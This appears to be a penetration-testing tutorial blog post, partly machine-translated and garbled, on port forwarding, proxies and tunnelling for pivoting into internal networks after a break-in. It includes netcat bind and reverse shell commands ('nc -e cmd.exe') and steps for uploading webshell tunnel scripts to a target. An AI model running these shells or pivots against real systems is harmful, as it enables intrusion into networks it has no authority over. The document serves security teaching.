Port forwarding mapping, proxy

Port Forwarding & Port Mapping

In the course of actual penetration, we have successfully invaded the target server. Then we want the machine to access the target machine on the internal network ports open through a browser or other client software, such as the network of ports 3389, 8080 and so on intranet sites. The traditional method is to use nc, lcx tools such as port forwarding.

What is port forwarding 0x01

Port forwarding is to port a port, the port may be the machine can also be a port of the machine can access any host on any forward to have access to IP, IP is usually the public network IP.

Applicable port forwarding network environment are the following:

1. server in the network, you can access the external network.

2. The server in the external network can access the external network, but the server has a firewall to deny sensitive connection port.

3. The server in the network, external only open port 80, and the server can not access the Internet network.

What is 0x02 port mapping

Mapping port, a network port is mapped to a port public Internet, assuming my own computer is included in the network, not the public network IP, but I wanted to provide a port for use by others, this is the port mapping.

0x03 difference between port forwarding and port mapping

Port mapping scenarios

External host A wants to access network services on the host B.

Port Forwarding scene

External host A can have an arbitrary network ports on host B, but can not access port on the host network C. At this time, the port B may be a host port of the host C, then the external host A to host B to access a certain access port is equivalent to the certain host C.

to sum up

Port forwarding and port mapping principle is the same scenario just is not the same, if we will forward the port of the machine to the remote host port, we can be called port mapping, you can be called port forwarding

If any of the IP of the machine can access to the port forwarding to another server's port, he called port forwarding

0x04 forward connection and reverse connection of difference

Forward connection : your machine is connected to the target machine

Reverse connection : a target machine connected to your machine Anti

Regardless of the mapping, or forward, we have had positive contrast, the same principle

0x05 environment topology

 

0x06 LCX

lcx.exe is a port forwarding tool, there are two versions of Windows and Linux, Windows is lcx, Linux is portmap.

lcx has two functions: 1, port forwarding (listen, and slave); 2, port mapping (Tran)

1, lcx port mapping

A network can not access the external network B, B can access the Internet network A

A: 192.168.30.140 (extranet win10)

B: 192.168.30.133 (intranet xp)

Since the experiment is performed in a virtual machine, where the firewall 133 is opened, as the network environment, the firewall 140 is closed, as the external network environment, it is normally 133 to access 140, 133 and 139 can not directly access, which is ping each of the two machines results.

1) In the internal host execute on:

lcx.exe -slave public host public IP network hosts host ports within an IP network host port

E.g:

lcx.exe -slave 192.168.30.140 4444 127.0.0.1 3389 // host within the network to forward port 3389 to port 4444 public network host

2) In the public host performed on:

lcx.exe -listen public network public network host port 1 Host Port 2

lcx.exe -tran public network public network host port 1 Host Port 2

E.g:

lcx.exe -listen 4444 5555 // 4444 request listening port of the host public network, and transfer request from port 4444 to port 5555

lcx.exe -tran 4444 5555 // 4444 stores the received port mapping to port 5555

2, lcx port forwarding

A network can access the external network B, the network can access the network B C, A network can access external network C

A: 192.168.30.140 (extranet win10)

B: 192.168.30.133 (intranet xp)

C: 192.168.30.139 (intranet win7)

The implementation of the internal network host B: lcx.exe -tran 6666 192.168.30.139 3389

此时访问B主机上的6666端口就相当于访问C主机上的3389端口,在主机A开启远程连接192.168.30.133:6666

3、portmap

A:192.168.30.137(内网Centos)

B:192.168.30.138(公网Centos)

C:192.168.30.142(攻击机器)

在具有公网IP的主机B上执行:

./portmap -m 2 -p1 6666 -h2 192.168.30.138 -p2 7777

 

意思是监听来自6666端口的请求,将其转发到7777端口

然后在内网主机A上执行:

./portmap 3 -h1 127.0.0.1 -p1 22 -h2 192.168.30.138 -p2 6666

意思是将内网主机22端口的流量转发到公网主机的6666端口

然后连接到公网主机的7777端口就相当于连接到内网主机的22端口

0x07 nc端口转发

1、正向连接

A内网 可以访问 外网B,B外网 无法访问 内网A

A:192.168.30.133(内网xp)

B:192.168.30.140(外网win10)

在内网主机A执行

nc -l -p 5555 -t -e cmd.exe

在公网主机B执行

nc -nvv 192.168.30.133 5555

2、反向连接

A外网 无法访问 内网B,B内网 可以访问 外网A

A:192.168.30.140(外网win10)

B:192.168.30.133(内网xp)

在公网主机上监听

nc -lvp 6666

在内网主机上执行

nc -t -e cmd.exe 192.168.30.140 6666

 

代理

0x01 什么是代理

代理(Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。

0x02 代理类别

http代理、socks代理、ftp代理、telent代理、ssl代理

0x03 正向代理和反向代理的区别

正向代理(Forward Proxy)

Lhost——>proxy——>Rhost

反向代理(reverse proxy)

Lhost<——>proxy<——>firewall<——>Rhost

正向代理中,proxy 和 client 同属一个 LAN,对 server 透明;

反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。

一个代理的是客户端,一个代理的是服务器,实际上proxy在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。

0x04 socks代理工具

1、Earthworm

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。

使用方法:ew穿透

2、Termite

Termite 是EW(EarthWorm)的最新版,多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理的特点显得更加方便。

使用方法:http://rootkiter.com/Termite/README.txt

3、reDuh

reDuh也是一款内网渗透利器,这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。服务端是个webshell,工具里面针对不同服务器有aspx,php,jsp三个版本,客户端是java写的,本机执行最好装上jdk。、

使用方法:

将代理脚本上传到目标服务器,在本地访问代理脚本,验证脚本情况

在本地执行以下命令

java -jar reDuhClient.jar http://192.168.30.140/reDuh.php

nc -vv 127.0.0.1 1010

[createTunnel]1234:127.0.0.1:3389

远程登录127.0.0.1:1234就可以连接到内部

4、reGeorg

reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。

使用方法:

上传对应服务器脚本到目标主机的服务器,我选择的是php

访问会显示“Georg says, 'All seems fine'”,表示脚本运行正常,之后就是运行reGeorg监听指定端口,如:

reGeorgSocksProxy.py -p 8888 -u http://192.168.30.140/tunnel.nosocket.php

接下来配置proxifier,设置代理127.0.0.1:8888 socks5,规则默认即可,右键使用proxy socks5 127.0.0.1去打开远程桌面,输入内网IP,此时环境是同在一个内网,所以可以成功连接。

5、sSocks
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14。

使用方法:

下载解压后,编译

./configure && make

编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks

其功能说明介绍如下:

程序功能:

nsocks 类似通过Socks5代理后的netcat,可用来测试socks server ssocksd 用来开启Socks5代理服务 ssocks 本地启用Socks5服务,并反弹到另一IP地址 rcsocks 接收反弹过来的Socks5服务,并转向另一端口

公网主机上执行:

./rcsocks -l 1080 -p 5555 -vv

内网主机上执行:

./rssocks –vv –s 公网主机ip:5555

这时本地主机可以通过访问公网主机的 1080 端口访问内网主机,或者使用各种socks代理工具配置代理即可

6、proxychains

Proxychains是一款在Linux下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4、SOCKS5类型的代理服务器,支持proxy chain,即可配置多个代理,同一个proxy chain可使用不同类型的代理服务器。

7、Tunna

Tunna这个工具使用起来也特方便,脚本的编写也是基于Python2版本。运用的时候也需要我们把代理脚本上传到目标服务器,然后通过代理内网的某个端口,注意这个工具只能代理一个端口,有点局限性。但是我们可以代理3389、22、3306、1433等敏感端口,然后将敏感端口流量转发了外网的的某个端口,我们再通过本地连接外网的端口进行连接,这样的话我们就可以使用了。

第一步:上传对应服务器脚本到目标主机的服务器,我选择的是php

第二步:运行proxy.py 并指定端口

python proxy.py -u http://192.168.30.140/conn.php -l 1234 -r 3389 -v

第三步:远程连接127.0.0.1:1234

8、frp

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。

服务端
修改服务端的部署文件 frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

dashboard_user = xxxxx #监控的用户名
dashboard_pwd = xxxxxx #监控的密码
dashboard_port = 7500

将 frps.ini 及frps.exe 上传到公网机器上,以管理员的身份cmd到其目录下,运行如下的命令

frps -c frps.ini

看到下图就运行成功了

不要忘记在防火墙将相关的端口打开,不然会报错,或者是访问不了

这样服务端就部署成功了,可以访问 dashboard查看监控信息。

服务端的这个命令行窗口不要关,关了服务就挂了

客户端

修改客户端的部署文件 frpc.ini

[common]
server_addr = xx.xx.xx.xx #你的公网机器的ip地址
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 6000

frpc.ini 及frpc.exe 放到本地机器上,以管理员的身份cmd到其目录下,运行如下的命令

frpc -c frpc.ini

服务器端对应的端口也要打开,然后这个cmd窗口不能关,不然服务就终止了,这个是下面开机自启动要解决的问题。为了支持远程访问,window下的允许远程访问要打开。
最后就可以愉快的用原生的远程桌面访问机器了

0x05 ssh隧道代理转发

ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发

参数详解

-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

1、ssh本地转发

本地访问127.0.0.1:port1就是host:port2

ssh -CfNg -L port1:127.0.0.1:port2 user@host //本地转发

应用场景:

远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口

ssh -CfNg -L 1234:127.0.0.1:3306 [email protected] //本地转发

2、ssh远程转发

访问host:port2就是访问127.0.0.1:port1

ssh -CfNg -R port2:127.0.0.1:port1 user@host //远程转发

应用场景:

内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口

ssh -CfNg -R 81:127.0.0.1:80 [email protected] //远程转发

3、dmz_host的hostport端口通过remote_ip转发到本地的port端口

ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip //正向隧道,监听本地port

4、dmz_host的hostport端口转发到remote_ip的port端口

ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip //反向隧道,用于内网穿透防火墙限制之类

5、socket动态转发socks代理

ssh -qTfnN -D 1080 [email protected]

之后和proxychains搭配工具一起使用

0x06 内网穿透平台

ngroknatapp

发布了21 篇原创文章 · 获赞 1 · 访问量 5858

Guess you like

Origin blog.csdn.net/Z_Z_W_/article/details/104411747